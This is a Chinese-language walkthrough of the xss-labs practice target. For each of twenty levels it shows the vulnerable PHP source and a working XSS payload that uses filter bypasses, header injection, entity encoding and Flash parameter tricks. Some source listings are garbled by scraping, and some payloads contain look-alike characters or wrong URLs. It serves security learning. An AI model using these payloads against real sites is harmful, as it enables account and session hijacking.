xss-labs-master靶机1-20关解题思路

xss-labs-master靶机1-20关解题思路_第1张图片
xss-labs-master靶机是xss-labs作者在github上发布的后来不知道为什么就把它删了,可能是因为这个靶机属于静态页面有一个通用的推广方式(具体在后面),不过还是希望读者使用实战中的攻击手段学习,这个靶机是对XSS漏洞的专项练习,一共有二十关,也是小白的看门砖吧!比如现在的我!大哭!!!!

  • 在这篇文章中,默认读者已有WEB渗透测试相关知识,以及PHP、HTML等相关知识。

xss-labs-master通关宝典

    • 第一关 不使用过滤器
    • 第二关 闭合标签
    • 第三关 单引号闭合并添加事件
    • 第四关 双引号闭合并添加事件
    • 第五关 javascript伪协议
    • 第六关 大小写绕过
    • 第七关 双重书写
    • 第八关 字符实体
    • 第九关 检测关键字存在
    • 第十关 隐藏信息
    • 第十一关 Referer信息
    • 第十二关 user-agent信息
    • 第十三关 Cookie信息
    • 第十四关 exif xss
    • 第十五关 ng-include属性
    • 第十六关 空格==回车
    • 第十七关 合二为一
    • 第十八关 是作者偷懒了吗?还是我悟不出其中的精髓???????
    • 第十九关
    • 第二十关
    • 万能通关秘籍

第一关 不使用过滤器

xss-labs-master靶机1-20关解题思路_第2张图片
a、后台代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "

欢迎用户".$str."

"
; ?> <center><img src=level1.png></center> echo "

payload的长度:".strlen($str)."

"
; ?> </body> </html>

b、分析
这关只给一个图片,根据图片可以知道这关容易,而链接上有一个参数name,说明突破口再name这里,根据代码我们可以看出,代码是将用户以GET方式提交的参数name,没有做任何防御措施就直接显示在HTML页面中,所以将使用放入name变量中即可。

c、方法
这里就是直接用脚本的就行,没有方法可言。

d、注入语句

http://靶机网址/xss-labs-master/level1.php?name=<script>alert(/xss/)</script>

第二关 闭合标签

xss-labs-master靶机1-20关解题思路_第3张图片
a、后台代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str.'">
'
; ?> <center><img src=level2.png></center> echo "

payload的长度:".strlen($str)."

"
; ?> </body> </html>

b、分析
这关我们可以发现多了一个文本框,我们先用之前的语句填入文本框里面,发现不行,什么有了防御机制,那么我们看看源代码,它将我们输入的值给了value,然后它再传给了一个htmlspecialchars函数,这个函数是把预定义的字符转换为 HTML 实体,说明把前面加">,对前面input标签进行闭合。

htmlspecialchars函数快查链接:这里

c、方法
这里就是我们使用闭合的方法,就是闭合了标签,产生新的执行语句。

d、注入语句

http://192.168.226.128/xss-labs-master/level2.php?keyword="><script>alert(/xss/)</script>

第三关 单引号闭合并添加事件

xss-labs-master靶机1-20关解题思路_第4张图片
a、后台代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
."
"
; ?> <center><img src=level3.png></center> echo "

payload的长度:".strlen($str)."

"
; ?> </body> </html>

b、分析
这个题就是变了个图片,感觉也没什么的,先用之前的代码测试一下,发现没用,看看源码,发现这里不但对"号做了防御,而这小子居然在value这里也加了htmlspecialchars函数,还是逃不过啊!那就刚憋,虽然对了双引号做了防御,但是却放行单引号,这种情况我们可以通过事件标签触发表单执行。

c、方法
这种情况我们可以通过事件标签触发表单执行,即通过使用HTML的事件知识对其注入。

一些常用的HTML标签事件:这里

d、注入语句

http://192.168.226.128/xss-labs-master/level3.php?keyword='οnmοuseοver='alert(/xss/)

第四关 双引号闭合并添加事件

xss-labs-master靶机1-20关解题思路_第5张图片
a、后台代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str3.'">
'
; ?> <center><img src=level4.png></center> echo "

payload的长度:".strlen($str3)."

"
; ?> </body> </html>

b、分析
这关和之前几个感觉差不多,同样不能用之前套路了,看看源码,发现这里不但对号做了防御,他这次不对value进行过滤,而是用str_replace函数直接过滤掉<>,但是不知道是不是有疏忽,对了单引号做了防御,但是却放行双引号,这种情况我们还是可以通过事件标签触发表单执行。

str_replacestr函数快查:在此
c、方法
这种情况我们可以通过事件标签触发表单执行,不过需要的双引号改成单引号。

d、注入语句

http://192.168.226.128/xss-labs-master/level3.php?keyword="οnmοuseοver="alert(/xss/)

第五关 javascript伪协议

xss-labs-master靶机1-20关解题思路_第6张图片
a、后台代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace(",",$str);
$str3=str_replace("on","o_n",$str2);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str3.'">
'
; ?> <center><img src=level5.png></center> echo "

payload的长度:".strlen($str3)."

"
; ?> </body> </html>

b、分析
这关和往常一样,使用之前的语句是不行的,根据源代码,我们发现它对strtolower函数对所有字符串变成小写,单引号也不可用了,但是我们还是可以闭合语句,通过双引号加>闭合,但是闭合归闭合,却没有用来触发的条件呀!我们这时候可以使用javascript伪协议以及标签进行注入。

javascript伪协议快查:在此

c、方法
使用javascript伪协议以及标签进行注入,就是在代码前面加上javascript:,在这里的标签不一定只是链接标签,还可以其他标签,可以自己了解。

d、注入语句

http://192.168.226.128/xss-labs-master/level5.php?keyword="><a href='javascript:alert(/xss/)'>xss

第六关 大小写绕过

xss-labs-master靶机1-20关解题思路_第7张图片
a、后台代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(",",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str6.'">
'
; ?> <center><img src=level6.png></center> echo "

payload的长度:".strlen($str6)."

"
; ?> </body> </html>

b、分析
这题我们可以看出虽然对on、src、data、href、

c、方法
可以使用单引号闭合,加大小写的脚本或者标签方法注入。

d、注入语句

http://192.168.226.128/xss-labs-master/level6.php?keyword="><scRipt>alert(/xss/)</scRipt>

第七关 双重书写

xss-labs-master靶机1-20关解题思路_第8张图片
a、后台代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str6.'">
'
; ?> <center><img src=level7.png></center> echo "

payload的长度:".strlen($str6)."

"
; ?> </body> </html>

b、分析
我们可以看到输入比上一题加深了大小写过滤的的难度,但是它却把特殊语义的字符串修改成了空字符串,我们就可以使用特殊语义重构的方法进行注入。

c、方法
可以使用特殊语义重构的方法进行注入,就是在特殊语义内在加入特殊语义。

d、注入语句

http://192.168.226.128/xss-labs-master/level6.php?keyword="><scrscriptipt>alert(/xss/)</scrscriptipt>

第八关 字符实体

xss-labs-master靶机1-20关解题思路_第9张图片
a、后台代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '
.htmlspecialchars($str).'">
'
; ?> echo '

.$str7.'">友情链接
'
; ?> <center><img src=level8.jpg></center> echo "

payload的长度:".strlen($str7)."

"
; ?> </body> </html>

b、分析
这次更狠直接把上一题的疏忽补全,这是我们用之前的方法是肯定不行了,那么我们就需要引入编码绕过的概念,由于会被htmlspecialchars函数转义,所以可将所有字符编码为HTML实体,从而绕过。

HTML实体速查:在此
HTML实体转换器:在此

c、方法
使用编码绕过概念,就是将所有字符编码为HTML实体。

d、注入语句

javasc&#114;ipt:alert(/xss/)

第九关 检测关键字存在

xss-labs-master靶机1-20关解题思路_第10张图片
a、后台代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '
.htmlspecialchars($str).'">
'
; ?> if(false===strpos($str7,'http://')) { echo '

友情链接
'
; } else { echo '

.$str7.'">友情链接
'
; } ?> <center><img src=level9.png></center> echo "

payload的长度:".strlen($str7)."

"
; ?> </body> </html>

b、分析
我们发现这里多了一个strpos函数,这个函数是用来查找指定文本在字符串中第一次出现的位置,这时候我们就不得不在代码里加入http://,但是并没有过滤HTML实体编码,所以我们还是使用编码绕过。
strpos函数速查:在此

c、方法
使用过滤HTML实体编码,但是由于需要加入http://,肯定不能在http://后面加代码,必须在前面,并且将http://注释掉才能执行。

d、注入语句

javasc&#114;ipt:alert(/xss/)//http://

第十关 隐藏信息

xss-labs-master靶机1-20关解题思路_第11张图片
a、后台代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
; ?> <center><img src=level10.png></center> echo "

payload的长度:".strlen($str)."

"
; ?> </body> </html>

b、分析
这一题有点难度,我们使用之前的方法发现,无论怎么样都没用,那么我们来看看源码,发现有一个t_sort参数,是需要我们在后台才能找到的,而这个参数其实并没有加什么特殊防御,只是过滤了尖括号,所以我们可以使用触发事件标签进行。

c、方法
使用触发事件标签进行,是在URL上加入t_sort值=触发事件,注意用的是双引号扣起来。

d、注入语句

http://192.168.226.128/xss-labs-master/level10.php?keyword=1&t_sort="οnmοuseοver="alert(/xss/)
#注意这里由于没有文本框,需要在浏览器后台的这行的type值改成text

第十一关 Referer信息

xss-labs-master靶机1-20关解题思路_第12张图片
a、后台代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
; ?> <center><img src=level11.png></center> echo "

payload的长度:".strlen($str)."

"
; ?> </body> </html>

b、分析
我们初看,感觉和上一关差不多,但是看源码发现有一个$str11=$_SERVER['HTTP_REFERER'];字段,并且只对其进行双引号过滤,而HTTP_REFERER是获取http请求头中的Referer字段,就是我们上一级网页的url,那么我们就需要使用到抓包工具进行抓包,修改Referer字段。

  • 修改前
    xss-labs-master靶机1-20关解题思路_第13张图片
  • 修改后
    xss-labs-master靶机1-20关解题思路_第14张图片
    c、方法
    通过使用burpsuite软件对Referer字段进行修改恶意代码。

d、注入语句

Referer: "οnmοuseοver="alert(/xss/)

第十二关 user-agent信息

xss-labs-master靶机1-20关解题思路_第15张图片
a、后台代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
; ?> <center><img src=level12.png></center> echo "

payload的长度:".strlen($str)."

"
; ?> </body> </html>

b、分析
这一题和上一题一样的手法,只是字段改变了是在http请求头中的user-agent字段上。

c、方法
通过使用burpsuite软件对user-agent字段进行修改恶意代码。

d、注入语句

User-Agent: "οnmοuseοver="alert(/xss/)

第十三关 Cookie信息

xss-labs-master靶机1-20关解题思路_第16张图片
a、后台代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
; ?> <center><img src=level13.png></center> echo "

payload的长度:".strlen($str)."

"
; ?> </body> </html>

b、分析
这一题和上两题一样的手法,改变的是在http请求头中的Cookie字段上。

c、方法
通过使用burpsuite软件对Cookie字段进行修改恶意代码。

d、注入语句

Cookie: user="οnmοuseοver="alert(/xss/)

第十四关 exif xss

xss-labs-master靶机1-20关解题思路_第17张图片
a、后台代码

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

b、分析
这啥嘛,空白????what???等了一会,302,需要跳到一个新的网站,才能打,但是这个网站始终进不去,所以跳过吧!不过听网上说是exif xss????????????????这是啥子?????
度娘:链接
xss-labs-master靶机1-20关解题思路_第18张图片
搜嘎

第十五关 ng-include属性

xss-labs-master靶机1-20关解题思路_第19张图片
a、后台代码

<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '.htmlspecialchars($str).'">';
?>

b、分析
咋一看这关好像没什么漏洞来着,但是如果我们仔细看后台,发现有一个语句,ng-include指令一般用于包含外部的 HTML 文件,ng-include属性的值可以是一个表达式,返回一个文件名,但是默认情况下,包含的文件需要包含在同一个域名下。很有可能这个指令就是突破口,我们看看源代码,果然有ng-include,并且对其输入做了过滤,所以我们可以包含一个有漏洞的页面,那么不就破解了吗?

c、方法
利用ng-include指令的特性包含一个有漏洞的html文件,注意这里有对尖括号的过滤。
ng-include是什么?:链接

d、注入语句

http://192.168.226.128/xss-labs-master/level15.php?src='http://192.168.226.128/xss-labs-master/level1.php?name=">xss'

第十六关 空格==回车

xss-labs-master靶机1-20关解题思路_第20张图片
a、后台代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level17.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace("	"," ",$str4);
echo "
".$str5."
"
; ?> <center><img src=level16.png></center> echo "

payload的长度:".strlen($str5)."

"
; ?> </body> </html>

b、分析
这一关用的防御方式并不复杂,但是却考虑的比较周全,空格、反斜杠、script都被str_replace函数替换成 了,但是在HTML中可以将%0a或者%0D当成空格使用。

c、方法
使用替身大法,就是将%0a或者%0D当成空格使用,在HTML中这样是合法的。

d、注入语句

http://192.168.226.128/xss-labs-master/level16.php?keyword=<a%0Ahref='javas%0Acript:alert("xss")'>xss

第十七关 合二为一

xss-labs-master靶机1-20关解题思路_第21张图片
a、后台代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!"); 
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>

ini_set("display_errors", 0);
echo ".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

b、分析
这一关有两个参数:arg01、arg02,当我们发送的时候,发现他们是会互相拼接起来的,那么我们就容易想到这里会不会就是突破口,看看源码,发现这两个参数是在embed上,embed标签定义嵌入的内容,并且做了尖括号过滤,那么我们可以加入一个属性进去,生成恶意代码。

c、方法
利用arg01、arg02参数进行属性添加,产生恶意代码。

注意:这个题有些浏览器不会出现图片

d、注入语句

http://192.168.111.138/xss-labs-master/level17.php?arg01= onmousemove&arg02=javascript:alert(/xss/)
#注意在arg01这里要添加空格,不然就是将属性与之前的xsf01.swf?进行连接了

第十八关 是作者偷懒了吗?还是我悟不出其中的精髓???????

xss-labs-master靶机1-20关解题思路_第22张图片
a、后台代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level19.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>

ini_set("display_errors", 0);
echo ".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

b、分析
这题和上一题的题目是基本一样的思路,只是换了不一样的图片。

c、方法
利用arg01、arg02参数进行属性添加,产生恶意代码。

d、注入语句

http://192.168.111.138/xss-labs-master/level18.php?arg01= onmousemove&arg02=javascript:alert(/xss/)

第十九关

xss-labs-master靶机1-20关解题思路_第23张图片
a、后台代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level20.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level19</title>
</head>
<body>
<h1 align=center>欢迎来到level19</h1>

ini_set("display_errors", 0);
echo '.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

b、分析
我们使用之前的方法发现,没有起到作用,说明源码已经改变,但是我们发现语句间被单引号垄断并且只能规范书写,不仅对引号做了实体编码处理,而且将关键字当作普通文本,但是既然是19关(估计这里要是再现实中,可能就视为无漏洞了吧,个人感觉),说明还是有漏洞,我们回去看看页面的图片,发现有说兼容性问题,那么就涉及到版本问题,我们可以将xsf03.swf进行反编译,得到version未定义,加上swf这个文件的特性可以传入参数。

c、方法
利用图片信息以及swf特性进行猜测或者flash反编译得到version参数未定义,从而传入恶意代码。

d、注入语句

http://192.168.111.138/xss-labs-master/level19.php?arg01=version&arg02=<a href='javascript:alert(/xss/)'>xss</a>

第二十关

xss-labs-master靶机1-20关解题思路_第24张图片
a、后台代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level21.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level20</title>
</head>
<body>
<h1 align=center>欢迎来到level20</h1>

ini_set("display_errors", 0);
echo '.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

b、分析
这题和19题一模一样,就是插件不同。

c、方法
和之前几道题差不多。

http://192.168.111.138/xss-labs-master/level19.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//&width&height

万能通关秘籍

福利:有一种通用的通关方式,那就是我们如果在页面后台添加一个事件呢?就是在后台的图片处直接添加。

你可能感兴趣的:(hack)